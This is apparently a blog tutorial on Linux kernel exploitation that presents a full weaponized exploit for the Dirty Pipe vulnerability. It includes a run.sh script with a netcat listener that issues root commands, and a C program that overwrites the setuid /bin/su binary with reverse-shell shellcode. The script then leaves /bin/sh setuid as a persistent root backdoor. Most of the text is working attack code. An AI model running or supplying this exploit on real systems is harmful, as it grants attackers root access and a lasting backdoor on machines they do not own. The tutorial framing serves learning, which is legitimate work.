L1: Let's learn Linux Kernel exploitation - part 2
In 2022 Max Kellermann published an article and a POC presenting a new vulnerability in the Linux kernel, “The Dirty Pipe Vulnerability”.
Having recently become interested in exploiting vulnerabilities in the Linux kernel, I felt that it would be interesting to create a weapionized exploit for this vulnerability, knowing that it’s a logic bug and not a memory corruption.
The entry level for writing this kind of exploit is therefore more accessible.
Basic instructions
To write this exploit I first read the following article:
Of which I made a backup in case the article disappeared.
Being a Mac user, I developed the exploit on an x64 virtual machine thanks to UTM (a QEMU wrapper).
The strategy
My approach is as follows:
- First identify all binaries with the suid bit set.
search_binary()
- Among these binaries, let’s choose one and make a backup.
backup_binary()
- Once the backup is complete, the vulnerability is exploited to write a
shellcode at the beginning of the
.text
section.is_elf()
is_supported_arch()
search_text_64()
inject_shellcode()
prepare_pipe()
- Then the corrupted binary is executed.
- Once the privileges have been raised, they can be used to restore the initial binary using its backup.
Schematic diagram of how our exploit
Attacker run ./run.sh
|
----------------- - A netcat server listens (on 4444) and is ready to
| run.sh | execute a system command in the shell that will be
----------------- provided.
| | - The file exploit.c is compiled using gcc.
| | - The actual exploit is executed.
| | - Then the corrupted binary is run which execute
| | the shellcode.
| |
| ------
| | nc | - Listen on port 4444 and sends a bash command as
| ------ soon as a connection is received.
| |
| 4444
|
-------------
| | - Searches for a binary with the setuid bit set.
| | - Make a backup of the binary.
| exploit | - Uses the Dirty Pipe vulnerability to corrupt the .text
| | section of the binary with a shellcode (local reverse shell).
| |
-------------
Proof of Concept
File: run.sh
uname -a
echo "chmod +rwx /tmp/binary_backup_* && chown root:root /tmp/binary_backup_* && chmod u+s,g+s /tmp/binary_backup_* && mv /tmp/binary_backup_* /bin/su && chmod +s /bin/sh && exit" | nc -lvp 4444 &
gcc exploit.c -o exploit
./exploit
echo "[*] Enter random password."
su
rm exploit
echo "[+] DONE"
sh -p -c "id"
File: exploit.c
#define _GNU_SOURCE
#include <elf.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <time.h>
#include <unistd.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define BACKUP_FORMAT "/tmp/binary_backup_%i"
#define PATH_SIZE 4096
#define SEARCHED_BINARY "bin/su\n"
/* Shellcode:
* setuid(0) + setgid(0) + reverse shell "/bin/sh" on "127.0.0.1:4444".
*/
unsigned char shellcode[] = \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05"
"\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x6a\x10"
"\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89"
"\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48"
"\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62"
"\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2"
"\xb0\x3b\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
/* This function finds a valid path for SEARCHED_BINARY within the system. */
int search_binary(char binary_path[])
{
char path[PATH_SIZE];
FILE *process;
/* Execute a system command to find suid binairies in "/". */
process = popen("find / -perm -u=s -type f 2>/dev/null", "r");
if (process == NULL)
{
puts("[x] Failed to run command.");
exit(-1);
}
/* Read the output of the command a line at a time. */
while (fgets(path, sizeof(path), process) != NULL)
{
printf("\t - %s", path);
if (strstr(path, SEARCHED_BINARY) != NULL)
{
/* This line of code deletes the trailing "\n". */
path[strcspn(path, "\n")] = 0;
strncpy(binary_path, path, sizeof(path));
return 0;
}
}
return -1;
}
/* This function copies the binary from "src_path" location to "dst_path". */
int backup_binary(char *src_path, char *dst_path)
{
int src_fd, dst_fd, n, err;
unsigned char buffer[4096];
src_fd = open(src_path, O_RDONLY);
if (src_fd < 0)
{
puts("[x] Error while opening source file.");
return -1;
}
dst_fd = open(dst_path, O_CREAT | O_WRONLY, 0600);
if (dst_fd < 0)
{
puts("[x] Error while opening destination file.");
return -1;
}
while (1)
{
err = read(src_fd, buffer, 4096);
if (err < 0)
{
puts("[x] Error reading file.");
return -1;
}
n = err;
if (n == 0) break;
err = write(dst_fd, buffer, n);
if (err < 0)
{
puts("[x] Error writing file.");
return -1;
}
}
close(src_fd);
close(dst_fd);
return 0;
}
/* This function verifies that our binary loaded into memory is an ELF. */
int is_elf(unsigned char *fp)
{
if (fp[0] == '\x7f' && fp[1] == 'E' && fp[2] == 'L' && fp[3] == 'F')
return 0;
return -1;
}
/*
This function checks that our binary is executable on a supported
architecture.
*/
int is_supported_arch(unsigned char *fp)
{
if (fp[4] == ELFCLASS32)
return 32;
else if (fp[4] == ELFCLASS64)
return 64;
return -1;
}
/*
This function retrieves information related to the ".text" section for
x32 architecture.
*/
Elf32_Off search_text_32(unsigned char *fp)
{
/* Yet to be implemented. */
return -1;
}
/*
This function retrieves information related to the ".text" section for
x64 architecture.
*/
Elf64_Off search_text_64(unsigned char *fp)
{
Elf64_Ehdr *header = (Elf64_Ehdr*)fp;
if (header->e_shoff == 0)
{
puts("[x] The file has no section header table.");
return -1;
}
puts("\t - Section header table:");
printf("\t\t - Offset: 0x%lx\n", header->e_shoff);
printf("\t\t - Number of entries: %i\n", header->e_shnum);
printf("\t\t - Entry size: %i\n", header->e_shentsize);
Elf64_Shdr *section_header;
Elf64_Shdr *shstrtab = (Elf64_Shdr*)(fp+header->e_shoff + header->e_shentsize*header->e_shstrndx);
for (int i=0; i<header->e_shnum; i++)
{
section_header = (Elf64_Shdr*)(fp+header->e_shoff + i*header->e_shentsize);
char *sh_name = (char*)(fp+shstrtab->sh_offset + section_header->sh_name);
if (strncmp(sh_name, ".text", 5) == 0)
{
printf(
"\t\t - Entry name at index %d: %s, offset: 0x%lx\n",
i,
sh_name,
section_header->sh_offset
);
return section_header->sh_offset;
}
}
return -1;
}
/*
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
int pipe_size = fcntl(p[1], F_GETPIPE_SZ);
char buffer[4096];
/* Fill the pipe completely; each pipe_buffer will now have the
* PIPE_BUF_FLAG_CAN_MERGE flag.
*/
for (int r = pipe_size; r > 0;)
{
int n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* Drain the pipe, freeing all pipe_buffer instances (but leaving the flags
* initialized).
*/
for (int r = pipe_size; r > 0;)
{
int n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* The pipe is now empty, and if somebody adds a new pipe_buffer without
* initializing its "flags", the buffer will be mergeable.
*/
}
/* This function injects shellcode into the binary "path". */
int inject_shellcode(char *path)
{
int arch;
int fd;
int p[2];
loff_t text_offset;
size_t file_size;
struct stat st;
unsigned char *fp;
fd = open(path, O_RDONLY);
if (fd < 0)
{
puts("[x] Error opening file.");
return -1;
}
/* We retrieve file size. */
fstat(fd, &st);
file_size = (size_t)st.st_size;
/* We map the binary in memory with flags MAP_SHARED so
* the modification carried through to the underlying file.
*/
fp = mmap(0, file_size, PROT_READ, MAP_SHARED, fd, 0);
if(is_elf(fp) < 0)
{
puts("[x] ELF format not detected.");
return -1;
}
puts("\t - ELF magic bytes found.");
arch = is_supported_arch(fp);
if (arch < 0)
{
puts("[x] Arch not supported.");
return -1;
}
printf("\t - x%d architecture detected.\n", arch);
if (arch == 32)
{
text_offset = (loff_t)search_text_32(fp);
}
else if (arch == 64)
{
text_offset = (loff_t)search_text_64(fp);
}
if ( text_offset < 0)
{
puts("[x] Can't find .text section.");
return -1;
}
if (text_offset % PAGE_SIZE == 0) {
puts("[x] Sorry, cannot start writing at a page boundary.");
return -1;
}
const loff_t next_page = (text_offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = text_offset + (loff_t)sizeof(shellcode);
if (end_offset > next_page) {
puts("[x] Sorry, cannot write across a page boundary.");
return -1;
}
/* Create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE. */
prepare_pipe(p);
/* Splice one byte from before the specified offset into the pipe; this will
* add a reference to the page cache, but since copy_page_to_iter_pipe()
* does not initialize the "flags", PIPE_BUF_FLAG_CAN_MERGE is still set.
*/
--text_offset;
ssize_t nbytes = splice(fd, &text_offset, p[1], NULL, 1, 0);
if (nbytes < 0)
{
puts("[x] splice() failed.");
return -1;
}
if (nbytes == 0)
{
puts("[x] Short splice.");
return -1;
}
/* The following write will not create a new pipe_buffer, but will instead
* write into the page cache, because of the PIPE_BUF_FLAG_CAN_MERGE flag.
*/
nbytes = write(p[1], shellcode, sizeof(shellcode));
if (nbytes < 0)
{
puts("[x] write() failed");
return -1;
}
if (nbytes < sizeof(shellcode)) {
puts("[x] Short write.");
return -1;
}
return 0;
}
int main()
{
char binary_backup_path[PATH_SIZE];
char binary_path[PATH_SIZE];
int random;
srand(time(NULL));
puts("[*] Looking for binary ...");
if (search_binary(binary_path) < 0)
{
puts("[x] Failed to find binary.");
exit(-1);
}
puts("[*] Binary found:");
printf("\t - %s\n", binary_path);
random = rand();
snprintf(
binary_backup_path,
sizeof(binary_backup_path),
BACKUP_FORMAT,
random
);
puts("[*] File will be save to:");
printf("\t - %s\n", binary_backup_path);
if (backup_binary(binary_path, binary_backup_path) < 0)
{
puts("[x] Failed to backup binary.");
exit(-1);
}
puts("[*] Injecting shellcode ...");
if (inject_shellcode(binary_path) < 0)
{
puts("[x] Failed to inject shellcode.");
exit(-1);
}
puts("[+] Exploit succeed.");
return 0;
}
Please refer to the screenshot below for an example of execution.
Thank you for taking the time to read this really short article.